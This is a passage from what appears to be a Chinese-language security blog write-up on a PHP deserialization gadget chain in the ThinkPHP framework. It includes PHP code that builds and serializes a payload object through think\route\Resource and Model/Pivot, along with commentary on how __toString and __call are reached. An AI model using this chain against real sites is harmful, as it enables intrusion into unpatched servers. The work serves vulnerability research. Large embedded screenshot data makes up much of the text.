<span class=kd>public</span> <span class=n>$name</span> <span class=o>=</span> <span class=s>"name"</span><span class=o>;</span>
|
|||
|
|
<span class=kd>public</span> <span class=n>$rule</span><span class=o>;</span>
|
|||
|
|
<span class=kd>public</span> <span class=n>$router</span><span class=o>;</span>
|
|||
|
|
<span class=kd>public</span> <span class=n>$option</span><span class=o>;</span>
|
|||
|
|
|
|||
|
|
<span class=kd>public</span> <span class=n>function</span> <span class=nf>__construct</span><span class=o>(</span><span class=n>$rule</span><span class=o>,</span> <span class=n>$router</span><span class=o>,</span> <span class=n>$option</span><span class=o>){</span>
|
|||
|
|
<span class=n>$this</span><span class=o>-></span><span class=n>rule</span> <span class=o>=</span> <span class=n>$rule</span><span class=o>;</span>
|
|||
|
|
<span class=n>$this</span><span class=o>-></span><span class=n>router</span> <span class=o>=</span> <span class=n>$router</span><span class=o>;</span>
|
|||
|
|
<span class=n>$this</span><span class=o>-></span><span class=n>option</span> <span class=o>=</span> <span class=o>[</span><span class=err>'</span><span class=n>var</span><span class=err>'</span> <span class=o>=></span> <span class=o>[</span><span class=err>'</span><span class=n>nivia</span><span class=err>'</span> <span class=o>=></span> <span class=n>$option</span><span class=o>]];</span>
|
|||
|
|
<span class=o>}</span>
|
|||
|
|
<span class=o>}</span>
|
|||
|
|
<span class=o>}</span>
|
|||
|
|
|
|||
|
|
<span class=n>namespace</span> <span class=n>think</span> <span class=o>{</span>
|
|||
|
|
<span class=kd>class</span> <span class=nc>Route</span><span class=o>{}</span>
|
|||
|
|
<span class=kd>abstract</span> <span class=kd>class</span> <span class=nc>Model</span><span class=o>{</span>
|
|||
|
|
<span class=kd>protected</span> <span class=n>$append</span> <span class=o>=</span> <span class=o>[</span><span class=err>'</span><span class=n>Nivia</span><span class=err>'</span> <span class=o>=></span> <span class=s>"1.2"</span><span class=o>];</span>
|
|||
|
|
<span class=o>}</span>
|
|||
|
|
<span class=o>}</span>
|
|||
|
|
|
|||
|
|
<span class=n>namespace</span> <span class=n>think</span><span class=err>\</span><span class=n>model</span><span class=o>{</span>
|
|||
|
|
<span class=n>use</span> <span class=n>think</span><span class=err>\</span><span class=n>Model</span><span class=o>;</span>
|
|||
|
|
<span class=kd>class</span> <span class=nc>Pivot</span> <span class=kd>extends</span> <span class=n>Model</span><span class=o>{}</span>
|
|||
|
|
<span class=o>}</span>
|
|||
|
|
|
|||
|
|
<span class=n>namespace</span> <span class=o>{</span>
|
|||
|
|
<span class=n>$option</span> <span class=o>=</span> <span class=k>new</span> <span class=n>think</span><span class=err>\</span><span class=n>model</span><span class=err>\</span><span class=n>Pivot</span><span class=o>;</span>
|
|||
|
|
<span class=n>$router</span> <span class=o>=</span> <span class=k>new</span> <span class=n>think</span><span class=err>\</span><span class=n>Route</span><span class=o>;</span>
|
|||
|
|
<span class=n>$resource</span> <span class=o>=</span> <span class=k>new</span> <span class=n>think</span><span class=err>\</span><span class=n>route</span><span class=err>\</span><span class=n>Resource</span><span class=o>(</span><span class=s>"abc.nivia"</span><span class=o>,</span> <span class=n>$router</span> <span class=o>,</span> <span class=n>$option</span><span class=o>);</span>
|
|||
|
|
<span class=n>$resourceRegister</span> <span class=o>=</span> <span class=k>new</span> <span class=n>think</span><span class=err>\</span><span class=n>route</span><span class=err>\</span><span class=n>ResourceRegister</span><span class=o>(</span><span class=n>$resource</span><span class=o>);</span>
|
|||
|
|
<span class=n>echo</span> <span class=nf>urlencode</span><span class=o>(</span><span class=n>base64_encode</span><span class=o>(</span><span class=n>serialize</span><span class=o>(</span><span class=n>$resourceRegister</span><span class=o>)));</span>
|
|||
|
|
<span class=o>}</span>
|
|||
|
|
</pre></div>
|
|||
|
|
<p><a id=img13 href=https://xzfile.aliyuncs.com/media/upload/picture/20240623141056-5a9d733c-3127-1.png><img src="data:image/png;base64,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
|
|||
|
|
<p>往下到think\model\concern\Conversion#__toString方法,个人认为这里比较恶心</p>
|
|||
|
|
<p>中间会调用appendAttrToArray方法,方法中还会调用getRelationWith方法,在这里有机会触发__call方法</p>
|
|||
|
|
<p><a id=img14 href=https://xzfile.aliyuncs.com/media/upload/picture/20240623141111-6355ed24-3127-1.png><img src="data:image/png;base64,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
|
|||
|
|
<p>关键在$relation和$visible[$key]的控制</p>
|
|||
|
|
<p>首先是$visible变量</p>
|
|||
|
|
<p><a id=img15 href=https://xzfile.aliyuncs.com/media/upload/picture/20240623141128-6dd2b6e2-3127-1.png><img src="data:image/png;base64,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
|
|||
|
|
<p>可以发现其第一层else语句中的赋值语句满足我们的要求,$this->visible可控,仅要求$val不能是字符串</p>
|
|||
|
|
<p>接下来看$relation,其变量来源于getRelation方法,受key影响</p>
|
|||
|
|
<p><a id=img16 href=https://xzfile.aliyuncs.com/media/upload/picture/20240623141156-7e772ee2-3127-1.png><img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAABLIAAAHwCAYAAACytEY5AAAMPmlDQ1BJQ0MgUHJvZmlsZQAAeJyVVwdYU8kWnltSIbQAAlJCb4KIlABSQmihdwRRCUmAUGIMBBU7uqjg2sUCNnRVRMEKiAVF7CyKvS8WFJR1sWBX3qSArvvK906+uffPP2f+c+bcuWUAUD/BFYtzUQ0A8kQFkthgf8bY5BQGqRsg8KcCdAGZy8sXs6KjwwG0wfPf7d0N6AvtqoNM65/9/9U0+YJ8HgBINMTp/HxeHsQHAcAreWJJAQBEGW8+pUAsw7ABbQlMEOKFMpypwJUynK7Ae+U+8bFsiFsBIKtyuZJMANQuQ55RyMuEGmp9EDuJ+EIRAOoMiH3y8ibxIU6D2Ab6iCGW6TPTf9DJ/Jtm+pAml5s5hBVzkRs5QJgvzuVO+z/L8b8tL1c6GMMKNtUsSUisbM6wbrdyJoXJsCrEvaL0yCiItSD+IOTL/SFGqVnSkASFP2rIy2fDmsGrDFAnPjcgDGJDiINEuZHhSj49QxjEgRiuEHSqsIATD7EexAsF+YFxSp/NkkmxylhofYaEzVLy57gSeVxZrAfSnASWUv91loCj1MfUirLikyCmQmxRKEyMhFgNYsf8nLgwpc+Yoix25KCPRBory98C4liBKNhfoY8VZkiCYpX+pXn5g/PFNmcJOZFKvL8gKz5EUR+slceV5w/ngl0WiFgJgzqC/LHhg3PhCwICFXPHugWihDilzgdxgX+sYixOFedGK/1xM0FusIw3g9glvzBOORZPLIALUqGPZ4gLouMVeeJF2dzQaEU++DIQDtggADCAFLZ0MAlkA2F7b0Mv/KfoCQJcIAGZQAAclMzgiCR5jwge40AR+BMiAcgfGucv7xWAQsh/HWIVRweQIe8tlI/IAU8hzgNhIBf+l8pHiYaiJYInkBH+IzoXNh7MNxc2Wf+/5wfZ7wwLMuFKRjoYkaE+6EkMJAYQQ4hBRFvcAPfBvfBwePSDzRln4h6D8/juT3hK6CA8IlwndBJuTxQWS37KMgJ0Qv0gZS3Sf6wFbgU1XXF/3BuqQ2VcFzcADrgLjMPCfWFkV8iylXnLqsL4SftvM/jhaij9KE4UlDKM4kex+Xmkmp2a65CKrNY/1keRa/pQvdlDPT/HZ/9QfT48h/3siS3EDmBnsZPYeewo1gAYWDPWiLVhx2R4aHU9ka+uwWix8nxyoI7wH/EGr6yskvlONU49Tl8UfQWCqbJnNGBPEk+TCDOzChgs+EYQMDginuMIhrOTswsAsveL4vH1Jkb+3kB0275z8/4AwLt5YGDgyHcutBmAfe7w9j/8nbNhwleHCgDnD